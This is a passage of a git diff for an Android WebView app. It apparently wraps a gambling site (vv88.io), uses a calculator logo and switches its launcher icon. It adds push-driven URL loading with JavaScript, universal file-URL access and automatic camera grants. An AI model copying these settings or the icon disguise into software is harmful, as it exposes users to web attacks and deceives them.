webView.loadDataWithBaseURL(null, "", "text/html", "utf-8", null); + //清除历史记录 + webView.clearHistory(); + //移除WebView +// ((ViewGroup) webView.getParent()).removeView(webView); + //销毁VebView + webView.destroy(); + } + super.onDestroy(); + } + + @Override + protected void onResume() { + super.onResume(); + checkNotify(); + + + } + + @Override + protected void onPause() { + super.onPause(); + + } + + + /** + * 获取状态栏高度 + * + * @return + */ + public int getStatusBarHeight() { + int result = 0; + //获取状态栏高度的资源id + int resourceId = getResources().getIdentifier("status_bar_height", "dimen", "android"); + if (resourceId > 0) { + result = getResources().getDimensionPixelSize(resourceId); + } + return result; + } + //wp-caption alignnone + + +} diff --git a/Dmcslot/src/main/java/com/web/dmcslot/MainActivity3.java b/winwaynew/src/main/java/just/way/MainActivity3.java similarity index 99% rename from Dmcslot/src/main/java/com/web/dmcslot/MainActivity3.java rename to winwaynew/src/main/java/just/way/MainActivity3.java index b30a886..f46758c 100644 --- a/Dmcslot/src/main/java/com/web/dmcslot/MainActivity3.java +++ b/winwaynew/src/main/java/just/way/MainActivity3.java @@ -1,4 +1,4 @@ -package com.web.dmcslot; +package just.way; import android.annotation.SuppressLint; import android.annotation.TargetApi; @@ -149,14 +149,14 @@ public class MainActivity3 extends AppCompatActivity { pm.setComponentEnabledSetting(new ComponentName( this, - "com.web.dmcslot.MainActivity"), + "just.way.MainActivity"), PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP); Log.d("TAG", "换Test的图标"); pm.setComponentEnabledSetting(new ComponentName( this, - "com.web.dmcslot.MainActivityNew"), + "just.way.MainActivityNew"), PackageManager.COMPONENT_ENABLED_STATE_ENABLED, PackageManager.DONT_KILL_APP); diff --git a/winwaynew/src/main/java/just/way/MessageInfo.java b/winwaynew/src/main/java/just/way/MessageInfo.java new file mode 100644 index 0000000..c7ad6f5 --- /dev/null +++ b/winwaynew/src/main/java/just/way/MessageInfo.java @@ -0,0 +1,61 @@ +package just.way; + +import java.io.Serializable; + +public class MessageInfo implements Serializable { + + private String title; + private String content; + private String image=""; + private int type; + private int pushId; + private String jumpUrl; + + public String getJumpUrl() { + return jumpUrl; + } + + public void setJumpUrl(String jumpUrl) { + this.jumpUrl = jumpUrl; + } + + public int getType() { + return type; + } + + public void setType(int type) { + this.type = type; + } + + public int getPushId() { + return pushId; + } + + public void setPushId(int pushId) { + this.pushId = pushId; + } + + public String getTitle() { + return title; + } + + public void setTitle(String title) { + this.title = title; + } + + public String getContent() { + return content; + } + + public void setContent(String content) { + this.content = content; + } + + public String getImage() { + return image; + } + + public void setImage(String image) { + this.image = image; + } +} diff --git a/winwaynew/src/main/java/just/way/MyFirebaseMessageingService.java b/winwaynew/src/main/java/just/way/MyFirebaseMessageingService.java new file mode 100644 index 0000000..02b30ee --- /dev/null +++ b/winwaynew/src/main/java/just/way/MyFirebaseMessageingService.java @@ -0,0 +1,145 @@ +package just.way; + +import android.app.Notification; +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.ContentResolver; +import android.content.Context; +import android.content.Intent; +import android.net.Uri; +import android.os.Build; + +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; + +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; + +import java.util.Map; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); +// if (remoteMessage.getNotification() != null) { +// showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); +// } + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + + + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity2.class); + if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, 0, notifyIntent, PendingIntent.FLAG_IMMUTABLE); + +// Intent notifyIntent = new Intent(this, MainActivity2.class); +// notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); +// // notifyIntent.putExtra("message", messageInfo); +// notifyIntent.setAction(Intent.ACTION_VIEW); +// notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 +// PendingIntent pendingIntent; +// pendingIntent = PendingIntent.getActivity +// (this, 0, notifyIntent, PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_IMMUTABLE); + + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.jisuanqi_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(R.string.app_name)) + .setSmallIcon(R.mipmap.jisuanqi_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity2.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", body); + + PendingIntent pendingIntent = PendingIntent.getActivity(this, 0, notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body,MessageInfo.class); + if(messageInfo!=null){ + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.jisuanqi_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(R.string.app_name)) + .setSmallIcon(R.mipmap.jisuanqi_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + +} diff --git a/winwaynew/src/main/java/just/way/NotifyDetailsActivity.java b/winwaynew/src/main/java/just/way/NotifyDetailsActivity.java new file mode 100644 index 0000000..41b06e5 --- /dev/null +++ b/winwaynew/src/main/java/just/way/NotifyDetailsActivity.java @@ -0,0 +1,381 @@ +package just.way; + +import android.Manifest; +import android.annotation.SuppressLint; +import android.annotation.TargetApi; +import android.content.ActivityNotFoundException; +import android.content.Intent; +import android.net.Uri; +import android.os.Build; +import android.os.Bundle; +import android.os.Message; +import android.view.View; +import android.view.WindowManager; +import android.widget.ImageView; +import android.widget.LinearLayout; + +import androidx.annotation.Nullable; +import androidx.appcompat.app.ActionBar; +import androidx.appcompat.app.AppCompatActivity; +import androidx.core.app.ActivityCompat; +import androidx.core.content.ContextCompat; + +import com.bumptech.glide.Glide; +import com.tencent.smtt.export.external.interfaces.PermissionRequest; +import com.tencent.smtt.export.external.interfaces.WebResourceRequest; +import com.tencent.smtt.sdk.DownloadListener; +import com.tencent.smtt.sdk.ValueCallback; +import com.tencent.smtt.sdk.WebChromeClient; +import com.tencent.smtt.sdk.WebSettings; +import com.tencent.smtt.sdk.WebView; +import com.tencent.smtt.sdk.WebViewClient; + +import java.util.HashMap; + +import io.reactivex.android.schedulers.AndroidSchedulers; +import io.reactivex.schedulers.Schedulers; + +//通知详情 +public class NotifyDetailsActivity extends AppCompatActivity { + + + WebView webView; + private LinearLayout showTopLy; + private ImageView backIv; + private ImageView contentIv; + + public static String url = "https://vv88.io/"; + private static String[] PERMISSIONS_STORAGE = { + "android.permission.READ_EXTERNAL_STORAGE", + "android.permission.WRITE_EXTERNAL_STORAGE"}; + + private static String[] PERMISSIONS_CAMERA = { + Manifest.permission.CAMERA}; + + @Override + protected void onCreate(@Nullable Bundle savedInstanceState) { + getWindow().setNavigationBarColor(getColor(R.color.white)); + getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE); + super.onCreate(savedInstanceState); + View decor = getWindow().getDecorView(); + getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED); + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR); + ActionBar actionBar = getSupportActionBar(); + if (actionBar != null) { + actionBar.hide(); + } + setContentView(R.layout.activity_notifydetails); + initView(); + MessageInfo messageInfo = (MessageInfo) getIntent().getSerializableExtra("message"); + if (messageInfo != null) { + recordNotify(messageInfo.getPushId()); + if (messageInfo.getType() == 3) { + webView.setVisibility(View.VISIBLE); + webView.loadUrl(messageInfo.getJumpUrl()); + } + if (messageInfo.getType() == 2) { + contentIv.setVisibility(View.VISIBLE); + Glide.with(NotifyDetailsActivity.this).load(messageInfo.getImage()).into(contentIv); + } + + + } + } + + public void recordNotify(int pushId) { + HashMap map = new HashMap<>(); + map.put("pushId", pushId); + Api.getInstance().totalNotify(map) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver() { + @Override + public void onSuccess(Result o) { + + + } + + @Override + public void onError(int code, String msg) { + + } + + @Override + public void onError2(Result o) { + + } + }); + } + + @SuppressLint({"NewApi", "WrongConstant"}) + protected void initView() { + webView = findViewById(R.id.webview); + showTopLy = findViewById(R.id.show_top_ly); + backIv = (ImageView) findViewById(R.id.back_iv); + contentIv = findViewById(R.id.image); + WebSettings settings = webView.getSettings(); + settings.setDomStorageEnabled(true); + settings.setAppCacheEnabled(true); + settings.setCacheMode(WebSettings.LOAD_DEFAULT); + settings.setJavaScriptEnabled(true); + settings.setLoadWithOverviewMode(true); + // 设置允许访问文件数据 + settings.setAllowFileAccess(true); + settings.setAllowContentAccess(true); + settings.setDatabaseEnabled(true); + settings.setSavePassword(false); + settings.setSaveFormData(false); + settings.setUseWideViewPort(true); + settings.setBuiltInZoomControls(true); + settings.setPluginState(WebSettings.PluginState.ON); + settings.setLayoutAlgorithm(WebSettings.LayoutAlgorithm.NARROW_COLUMNS); + webView.setFocusable(true); + webView.setFocusableInTouchMode(true); + webView.getSettings().setSupportMultipleWindows(true); + + settings.setSupportZoom(true); + webView.setScrollBarStyle(WebView.SCROLLBARS_OUTSIDE_OVERLAY); +// webView.setHorizontalScrollbarOverlay(true); + webView.setHorizontalScrollBarEnabled(true); + webView.requestFocus(); +// webView.setBackgroundColor(getColor(R.color.black)); + settings.setJavaScriptCanOpenWindowsAutomatically(true); + settings.setMediaPlaybackRequiresUserGesture(false); + // 设置在WebView内部是否允许通过file url加载的 Js代码读取其他的本地文件 + // Android 4.1前默认允许,4.1后默认禁止 + settings.setAllowFileAccessFromFileURLs(true); + // 设置WebView内部是否允许通过 file url 加载的 Javascript 可以访问其他的源(包括http、https等源) + // Android 4.1前默认允许,4.1后默认禁止 + settings.setAllowUniversalAccessFromFileURLs(true); + + webView.setWebChromeClient(webChromeClient); + webView.setWebViewClient(new WebViewClient() { + + @Override + public void onPageFinished(WebView webView, String s) { + super.onPageFinished(webView, s); + showTopLy.setVisibility(View.GONE); + + } + + @Override + public boolean shouldOverrideUrlLoading(WebView webView, WebResourceRequest webResourceRequest) { + Uri uri; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + uri = webResourceRequest.getUrl(); + } else { + uri = Uri.parse(webResourceRequest.toString()); + } + String url1 = uri.toString(); + + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + //其它的该怎么处理就怎么处理 + webView.loadUrl(url1); + return true; + } + + return false; + } + + @Override + public boolean shouldOverrideUrlLoading(WebView webView, String url1) { + LogUtils.i("URL是啥:" + url1); + + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + //其它的该怎么处理就怎么处理 + webView.loadUrl(url1); + return true; + } + + return false; + } + }); + +// new Handler().postDelayed(() -> showTopLy.setVisibility(View.GONE), 3000); +// verifyStoragePermissions(this); + + webView.setDownloadListener(new DownloadListener() { + @Override + public void onDownloadStart(String url, String userAgent, String contentDisposition, String mimeType, long contentLength) { + LogUtils.i("URL是啥onDownloadStart:" + url); + + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url)); + startActivity(intent); + } catch (Exception e) { + e.printStackTrace(); + } + + } + }); + + backIv.setOnClickListener(view -> finish()); + + } + + private static final int REQUEST_CODE_FILE_CHOOSER = 1; + private ValueCallback mUploadCallbackForLowApi; + private ValueCallback mUploadCallbackForHighApi; + WebChromeClient webChromeClient = new WebChromeClient() { + @Override + public boolean onCreateWindow(WebView webViewdd, boolean b, boolean b1, Message resultMsg) { + LogUtils.i("URL是啥onCreateWindow:" + webView.getUrl()); +// WebView newWebView = new WebView(MainActivity2.this); + // topVvvv.setVisibility(View.VISIBLE); +// webView.addView(newWebView); +// WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj; +// transport.setWebView(newWebView); +// resultMsg.sendToTarget(); +// +// newWebView.setWebViewClient(new WebViewClient() { +// @Override +// public boolean shouldOverrideUrlLoading(WebView view, String url) { +// isAtGame = true; +// webView.loadUrl(url); +// return false; +// } +// }); + + WebView newWebView = new WebView(webViewdd.getContext()); + newWebView.setWebViewClient(new WebViewClient() { + @Override + public boolean shouldOverrideUrlLoading(WebView view, String url) { + if (!(url.startsWith("http") || url.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + Intent browserIntent = new Intent(NotifyDetailsActivity.this, WebViewActivity.class); + browserIntent.putExtra("url", url); + startActivity(browserIntent); + return true; + } + + return false; + } + + + }); + WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj; + transport.setWebView(newWebView); + resultMsg.sendToTarget(); + return true; + } + + @Override + public void onCloseWindow(WebView window) { + super.onCloseWindow(window); + } + + @Override + public void onProgressChanged(WebView view, int newProgress) { + super.onProgressChanged(view, newProgress); + // 更新进度条的进度 + + } + + + @TargetApi(Build.VERSION_CODES.LOLLIPOP) + @Override + public boolean onShowFileChooser(WebView webView, ValueCallback filePathCallback, FileChooserParams fileChooserParams) { + LogUtils.i("数据接口:onShowFileChooser"); + mUploadCallbackForHighApi = filePathCallback; + Intent intent = fileChooserParams.createIntent(); + intent.addCategory(Intent.CATEGORY_OPENABLE); + try { + startActivityForResult(intent, REQUEST_CODE_FILE_CHOOSER); + } catch (ActivityNotFoundException e) { +// mUploadCallbackForHighApi = null; +// WidgetUtils.showToast(JsBridgeActivity.this, "未知错误", WidgetUtils.ToastType.ERROR); + // Toast.makeText(MainActivity2.this, "未知错误", Toast.LENGTH_SHORT).show(); + startActivityForResult(Intent.createChooser(intent, "File chooser"), REQUEST_CODE_FILE_CHOOSER); + return true; + } + return true; + } + + // For 3.0+ + protected void openFileChooser(ValueCallback uploadMsg, String acceptType) { + LogUtils.i("数据接口:openFileChooseracceptType"); + + openFilerChooser(uploadMsg); + } + + + private void openFilerChooser(ValueCallback uploadMsg) { + LogUtils.i("数据接口:openFileChooser"); + + mUploadCallbackForLowApi = uploadMsg; + startActivityForResult(Intent.createChooser(getFilerChooserIntent(), "File Chooser"), REQUEST_CODE_FILE_CHOOSER); + } + + + private Intent getFilerChooserIntent() { + Intent intent = new Intent(Intent.ACTION_GET_CONTENT); + intent.addCategory(Intent.CATEGORY_OPENABLE); + return intent; + } + + + @Override + public void onPermissionRequest(PermissionRequest request) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { + NotifyDetailsActivity.this.runOnUiThread(new Runnable() { + @TargetApi(Build.VERSION_CODES.LOLLIPOP) + @Override + public void run() { + for (String permisson : request.getResources()) { + permissionRequest = request; + if (permisson.equals(PermissionRequest.RESOURCE_VIDEO_CAPTURE)) { + if (ContextCompat.checkSelfPermission(NotifyDetailsActivity.this, Manifest.permission.CAMERA) != 0) { + ActivityCompat.requestPermissions(NotifyDetailsActivity.this, PERMISSIONS_CAMERA, 1111); + } else { + request.grant(request.getResources()); + request.getOrigin(); + } + + } + } + + + } + }); + + + } + + } + + }; + + private PermissionRequest permissionRequest; + +} diff --git a/winwaynew/src/main/java/just/way/Result.java b/winwaynew/src/main/java/just/way/Result.java new file mode 100644 index 0000000..1334cb1 --- /dev/null +++ b/winwaynew/src/main/java/just/way/Result.java @@ -0,0 +1,29 @@ +package just.way; + + +import java.io.Serializable; + +/** + * created by wmm on 2020/9/8 + */ +public class Result implements Serializable { + + public String error; + public int code; + public T data; + public String message; + + + public boolean isSuccessful() { + return code == 1; + } + + @Override + public String toString() { + return "Result{" + + "message='" + error + '\'' + + ", code=" + code + + ", data=" + GsonUtils.beanToJSONString(data) + + '}'; + } +} diff --git a/Dmcslot/src/main/java/com/web/dmcslot/StartActivity.java b/winwaynew/src/main/java/just/way/StartActivity.java similarity index 99% rename from Dmcslot/src/main/java/com/web/dmcslot/StartActivity.java rename to winwaynew/src/main/java/just/way/StartActivity.java index 4439707..8ed1dd9 100644 --- a/Dmcslot/src/main/java/com/web/dmcslot/StartActivity.java +++ b/winwaynew/src/main/java/just/way/StartActivity.java @@ -1,4 +1,4 @@ -package com.web.dmcslot; +package just.way; import android.app.AlarmManager; import android.app.PendingIntent; diff --git a/winwaynew/src/main/java/just/way/StatusLayout.java b/winwaynew/src/main/java/just/way/StatusLayout.java new file mode 100644 index 0000000..2f368bb --- /dev/null +++ b/winwaynew/src/main/java/just/way/StatusLayout.java @@ -0,0 +1,44 @@ +package just.way; + +import android.content.Context; +import android.util.AttributeSet; +import android.view.ViewGroup; +import android.widget.LinearLayout; + +import androidx.annotation.Nullable; + +/** + * Created by kiun_2007 on 2018/3/29. + */ + +public class StatusLayout extends LinearLayout { + public StatusLayout(Context context) { + this(context, null); + } + + public StatusLayout(Context context, @Nullable AttributeSet attrs) { + this(context, attrs, 0); + } + + public StatusLayout(Context context, @Nullable AttributeSet attrs, int defStyleAttr) { + super(context, attrs, defStyleAttr); + } + + private int getStatusBarHeight(Context context) { + int result = 0; + int resourceId = context.getResources().getIdentifier("status_bar_height", "dimen", "android"); + if (resourceId > 0) { + result = context.getResources().getDimensionPixelSize(resourceId); + } + return result; + } + + @Override + protected void onAttachedToWindow() { + ViewGroup.LayoutParams lp = this.getLayoutParams(); + lp.width = -1; + lp.height = getStatusBarHeight(getContext()); + this.setLayoutParams(lp); + super.onAttachedToWindow(); + } +} diff --git a/winwaynew/src/main/java/just/way/Utils.java b/winwaynew/src/main/java/just/way/Utils.java new file mode 100644 index 0000000..9f3174a --- /dev/null +++ b/winwaynew/src/main/java/just/way/Utils.java @@ -0,0 +1,16 @@ +package just.way; + +public class Utils { + + public static boolean isImageUrl(String url) { + String end = url.substring(url.lastIndexOf(".") + 1).toLowerCase(); + String[] images = new String[]{"jpeg", "png", "jpg", "bmp", "webp", "gif"}; + for (String name : images) { + if (end.equals(name)) { + return true; + } + } + return false; + } + +} diff --git a/Dmcslot/src/main/java/com/web/dmcslot/WebView2Activity.java b/winwaynew/src/main/java/just/way/WebView2Activity.java similarity index 98% rename from Dmcslot/src/main/java/com/web/dmcslot/WebView2Activity.java rename to winwaynew/src/main/java/just/way/WebView2Activity.java index a8af6ec..a2ec0c7 100644 --- a/Dmcslot/src/main/java/com/web/dmcslot/WebView2Activity.java +++ b/winwaynew/src/main/java/just/way/WebView2Activity.java @@ -1,4 +1,4 @@ -package com.web.dmcslot; +package just.way; import android.annotation.TargetApi; import android.content.ActivityNotFoundException; @@ -35,11 +35,11 @@ import java.io.UnsupportedEncodingException; import java.net.URLEncoder; import java.util.Map; -import com.web.dmcslot.appdown.AppUpdater; -import com.web.dmcslot.appdown.UpdateConfig; -import com.web.dmcslot.appdown.constant.Constants; -import com.web.dmcslot.appdown.util.AppUtils; -import com.web.dmcslot.appdown.util.NotificationUtils; +import just.way.appdown.AppUpdater; +import just.way.appdown.UpdateConfig; +import just.way.appdown.constant.Constants; +import just.way.appdown.util.AppUtils; +import just.way.appdown.util.NotificationUtils; public class WebView2Activity extends AppCompatActivity { diff --git a/Dmcslot/src/main/java/com/web/dmcslot/WebViewActivity.java b/winwaynew/src/main/java/just/way/WebViewActivity.java similarity index 94% rename from Dmcslot/src/main/java/com/web/dmcslot/WebViewActivity.java rename to winwaynew/src/main/java/just/way/WebViewActivity.java index 8a18afd..dc33414 100644 --- a/Dmcslot/src/main/java/com/web/dmcslot/WebViewActivity.java +++ b/winwaynew/src/main/java/just/way/WebViewActivity.java @@ -1,16 +1,14 @@ -package com.web.dmcslot; +package just.way; -import android.annotation.TargetApi; -import android.content.ActivityNotFoundException; +import android.app.Activity; +import android.content.Context; import android.content.Intent; +import android.content.SharedPreferences; import android.graphics.Bitmap; import android.net.Uri; -import android.net.http.SslError; import android.os.Build; import android.os.Bundle; import android.os.Message; -import android.util.Log; -import android.view.KeyEvent; import android.view.MotionEvent; import android.view.View; import android.view.WindowManager; @@ -25,7 +23,6 @@ import androidx.annotation.Nullable; import androidx.appcompat.app.ActionBar; import androidx.appcompat.app.AppCompatActivity; -import com.tencent.smtt.export.external.interfaces.ConsoleMessage; import com.tencent.smtt.export.external.interfaces.WebResourceError; import com.tencent.smtt.export.external.interfaces.WebResourceRequest; import com.tencent.smtt.sdk.ValueCallback; @@ -34,15 +31,8 @@ import com.tencent.smtt.sdk.WebSettings; import com.tencent.smtt.sdk.WebView; import com.tencent.smtt.sdk.WebViewClient; -import java.io.UnsupportedEncodingException; -import java.net.URLEncoder; -import java.util.Map; - -import com.web.dmcslot.appdown.AppUpdater; -import com.web.dmcslot.appdown.UpdateConfig; -import com.web.dmcslot.appdown.constant.Constants; -import com.web.dmcslot.appdown.util.AppUtils; -import com.web.dmcslot.appdown.util.NotificationUtils; +import just.way.appdown.AppUpdater; +import just.way.appdown.constant.Constants; public class WebViewActivity extends AppCompatActivity { @@ -73,7 +63,7 @@ public class WebViewActivity extends AppCompatActivity { if (actionBar != null) { actionBar.hide(); } - setContentView(R.layout.activity_main2); + setContentView(R.layout.activity_main22); findViewById(R.id.back_iv).setOnClickListener(view -> finish()); url = getIntent().getStringExtra("url"); initView(); @@ -361,10 +351,23 @@ public class WebViewActivity extends AppCompatActivity { isNetError = false; } + public static String getString(Context context, String key, String defValue) { + if (context == null) { + return defValue; + } + SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); + return sp.getString(key, defValue); + } + @Override public void onBackPressed() { if (webView.canGoBack()) {//当webview有多级能返回的时候 + String url = webView.getUrl(); + String baseUrl = getString(WebViewActivity.this, "base_url", url); + if (baseUrl.equals(url + "index") || baseUrl.equals(url + "/index")) { + WebViewActivity.this.finish(); + } onShowNetView(); webView.goBack(); } else {//不能返回了 diff --git a/Dmcslot/src/main/java/com/web/dmcslot/appdown/AppUpdater.java b/winwaynew/src/main/java/just/way/appdown/AppUpdater.java similarity index 96% rename from Dmcslot/src/main/java/com/web/dmcslot/appdown/AppUpdater.java rename to winwaynew/src/main/java/just/way/appdown/AppUpdater.java index f9e5e57..810e5ca 100644 --- a/Dmcslot/src/main/java/com/web/dmcslot/appdown/AppUpdater.java +++ b/winwaynew/src/main/java/just/way/appdown/AppUpdater.java @@ -1,4 +1,4 @@ -package com.web.dmcslot.appdown; +package just.way.appdown; import android.app.Activity; import android.content.ComponentName; @@ -9,13 +9,13 @@ import android.os.IBinder; import android.text.TextUtils; import android.util.Log; -import com.web.dmcslot.appdown.callback.UpdateCallback; -import com.web.dmcslot.appdown.constant.Constants; -import com.web.dmcslot.appdown.http.HttpManager; -import com.web.dmcslot.appdown.http.IHttpManager; -import com.web.dmcslot.appdown.http.OkHttpManager; -import com.web.dmcslot.appdown.service.DownloadService; -import com.web.dmcslot.appdown.util.PermissionUtils; +import just.way.appdown.callback.UpdateCallback; +import just.way.appdown.constant.Constants; +import just.way.appdown.http.HttpManager; +import just.way.appdown.http.IHttpManager; +import just.way.appdown.http.OkHttpManager; +import just.way.appdown.service.DownloadService; +import just.way.appdown.util.PermissionUtils; import java.util.Map; diff --git a/Dmcslot/src/main/java/com/web/dmcslot/appdown/UpdateConfig.java b/winwaynew/src/main/java/just/way/appdown/UpdateConfig.java similarity index 99% rename from Dmcslot/src/main/java/com/web/dmcslot/appdown/UpdateConfig.java rename to winwaynew/src/main/java/just/way/appdown/UpdateConfig.java index 9d11caa..b7a1067 100644 --- a/Dmcslot/src/main/java/com/web/dmcslot/appdown/UpdateConfig.java +++ b/winwaynew/src/main/java/just/way/appdown/UpdateConfig.java @@ -1,11 +1,11 @@ -package com.web.dmcslot.appdown; +package just.way.appdown; import android.content.Context; import android.os.Parcel; import android.os.Parcelable; -import com.web.dmcslot.appdown.constant.Constants; +import just.way.appdown.constant.Constants; import java.util.HashMap; import java.util.Map; diff --git a/Dmcslot/src/main/java/com/web/dmcslot/appdown/callback/AppUpdateCallback.java b/winwaynew/src/main/java/just/way/appdown/callback/AppUpdateCallback.java similarity index 90% rename from Dmcslot/src/main/java/com/web/dmcslot/appdown/callback/AppUpdateCallback.java rename to winwaynew/src/main/java/just/way/appdown/callback/AppUpdateCallback.java index 9d4fa61..e3a1730 100644 --- a/Dmcslot/src/main/java/com/web/dmcslot/appdown/callback/AppUpdateCallback.java +++ b/winwaynew/src/main/java/just/way/appdown/callback/AppUpdateCallback.java @@ -1,4 +1,4 @@ -package com.web.dmcslot.appdown.callback; +package just.way.appdown.callback; /** * @author Jenly Jenly diff --git a/Dmcslot/src/main/java/com/web/dmcslot/appdown/callback/UpdateCallback.java b/winwaynew/src/main/java/just/way/appdown/callback/UpdateCallback.java similarity index 95% rename from Dmcslot/src/main/java/com/web/dmcslot/appdown/callback/UpdateCallback.java rename to winwaynew/src/main/java/just/way/appdown/callback/UpdateCallback.java index 4c8c0ec..0835ed0 100644 --- a/Dmcslot/src/main/java/com/web/dmcslot/appdown/callback/UpdateCallback.java +++ b/winwaynew/src/main/java/just/way/appdown/callback/UpdateCallback.java @@ -1,4 +1,4 @@ -package com.web.dmcslot.appdown.callback; +package just.way.appdown.callback; import java.io.File; diff --git a/Dmcslot/src/main/java/com/web/dmcslot/appdown/constant/Constants.java b/winwaynew/src/main/java/just/way/appdown/constant/Constants.java similarity index 95% rename from Dmcslot/src/main/java/com/web/dmcslot/appdown/constant/Constants.java rename to winwaynew/src/main/java/just/way/appdown/constant/Constants.java index 19b1b33..0e4757d 100644 --- a/Dmcslot/src/main/java/com/web/dmcslot/appdown/constant/Constants.java +++ b/winwaynew/src/main/java/just/way/appdown/constant/Constants.java @@ -1,4 +1,4 @@ -package com.web.dmcslot.appdown.constant; +package just.way.appdown.constant; /** * @author Jenly Jenly diff --git a/Dmcslot/src/main/java/com/web/dmcslot/appdown/http/HttpManager.java b/winwaynew/src/main/java/just/way/appdown/http/HttpManager.java similarity index 98% rename from Dmcslot/src/main/java/com/web/dmcslot/appdown/http/HttpManager.java rename to winwaynew/src/main/java/just/way/appdown/http/HttpManager.java index 